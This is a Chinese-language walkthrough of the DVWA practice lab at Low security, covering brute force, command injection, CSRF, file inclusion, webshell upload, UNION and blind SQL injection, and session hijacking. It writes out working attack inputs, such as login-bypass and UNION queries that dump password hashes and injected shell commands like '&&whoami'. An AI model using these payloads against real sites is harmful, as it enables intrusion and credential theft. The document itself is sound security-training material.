DVWA (Low)
文章目录
Brute Force
查看源代码
方法一:sql注入
sql语句没有任何过滤,可进行sql注入
单独拿出sql语句进行对照
注入方式:在username一栏输入以下内容,使引号闭合
注释掉后面内容:忽略掉密码的正确性
admin '#
or 语句:只要其中一个条件满足即可,密码设置为空
admin' or '1'='1
admin' or '1'='2
方法二:暴力破解
使用 Burp
开启代理,进行抓包,先随便输入一个密码
设置需要爆破的字段
选取字典
设置线程
查看,密码为password
Command Injection
尝试 ping 127.0.0.1
出现乱码问题,查询资料解决
…/DVWA/dvwa/includes目录下,有个dvwaPage.inc.php文件,打开文件,将UTF-8
改为GBK
或者GB2312
即可
这样结果为
查看源代码
没有进行任何过滤,shell_exec()函数直接执行。
那我们可以
127.0.0.1&&whoami
127.0.0.1&&dir
或者使用 管道符 | 进行任何命令
|dir
|whoami
比如:
|echo 小子!>1.txt
可以发现
CSRF
查看源码
就是一个简单的改密操作
我们尝试一下,更改密码为111
可以发现可以在url中直接进行改密
原理就是,图谋不轨的人可以制作一个html文件使用 img或者是a标签插入一条链接(与上图类似的改密操作),然后将这个链接放到受害者可能所兴趣的页面或者是不易被察觉的404错误之类的简单页面,发送给受害者。
那么当受害者点击进入该页面时,其密码就已经被篡改了而不自知。
File Inclusion
查看源码
没有任何过滤,并且可以发现点击每个文件后,其url中参数随之变化,那我们直接按照思路继续在url上进行操作,更改为4
再往后发现文件已经不存在了
File Upload
查看源码
就是简单的修改文件路径至…/…/hackable/uploads/ ,但是并未对文件进行任何过滤,那么我们试试上传一句话木马吧!
上传成功
使用工具 中国蚁剑
SQL Injection
查看源码
进行简单的查询然后通过while循环出所有结果
sql语句为
SELECT first_name, last_name FROM users WHERE user_id = '$id';'' or '1'='1'
进行注入
' or 1#
' or '1'='1
查列
1' order by 1#
1' order by 2#
1' order by 3#
联合查询
-1' union select 1,2#
都有回显
查库
-1' union select database(),2#
查表
-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = 'dvwa')#
出现这样的问题,仔细检查过后发现sql语句没有问题,查询资料后发现是字符编码和排序规则的问题
解决方案:在sql语句中添加 COLLATE utf8_general_ci
,更改为:
-1' union select database(),(select group_concat(table_name) COLLATE utf8_general_ci from information_schema.tables where table_schema = 'dvwa')#
查到表名为 guestbook,users,猜测用户信息存在于 users表中
查字段: 最好字段所在的表名以及库名都作为条件,进行筛选
-1' union select 1,(select group_concat(column_name) COLLATE utf8_general_ci from information_schema.columns where table_name = 'users' and table_schema = 'dvwa')#
查到可能存在于 user,password 字段中
查字段信息:
-1' union select 1,( select group_concat(concat_ws('~',user,password)) COLLATE utf8_general_ci from users)#
经过md5解密之后获得密码为 password
SQL Injection (Blind)
查看源码
判断是否为布尔型注入
1' and 1=1#
1' and 1=2#
典型的当条件正确时,只会输出相同的一句话,是布尔型注入
判断数据库名长度: 尝试之后长度为4
1' and length(database()) = 4#
具体判断库名: 可使用Burp对变量进行爆破
也可以使用ascii()函数,substr()函数,这里使用left()函数即可满足
1' and left(database(),1) = 'd'#
1' and left(database(),2) = 'dv'#
1' and left(database(),3) = 'dvw'#
1' and left(database(),4) = 'dvwa'#
之后的 查表,查字段,查内容都是使用同样的方法。具体可参照 SQL 盲注
Weak Session IDs
配置
查看源代码
使用Burp抓包
每点击一次,dvwaSession的值增加1
我们使用另一个浏览器在未成功登录DVWA的情况下,进行
执行后成功登录